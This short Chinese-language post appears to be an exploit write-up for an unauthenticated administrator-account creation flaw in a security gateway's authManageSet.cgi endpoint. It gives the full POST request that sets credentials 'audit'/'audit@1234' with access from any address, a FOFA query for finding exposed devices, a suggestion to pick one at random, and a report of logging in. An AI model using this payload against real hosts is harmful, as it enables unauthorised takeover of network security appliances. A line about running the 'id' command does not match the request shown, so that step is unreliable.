请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。
POC如下所示：POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1Host: xx.xx..xx{{int(1-10)}}Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateAccept: application/xml, text/xml, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept-Language: zh-CN,zh;q=0.9Content-Length: 26type=saveAdmin&id=2&userName=audit&pwd=audit@1234&net=0.0.0.0&mask=0.0.0.0&port=ANY&allow=Y
fofa: "sec_gate_image/button_normal.gif"随机找一个，页面如下：
使用poc执行id命令：
然后使用账号密码进行登录：userName=auditpwd=audit@1234
登录成功：
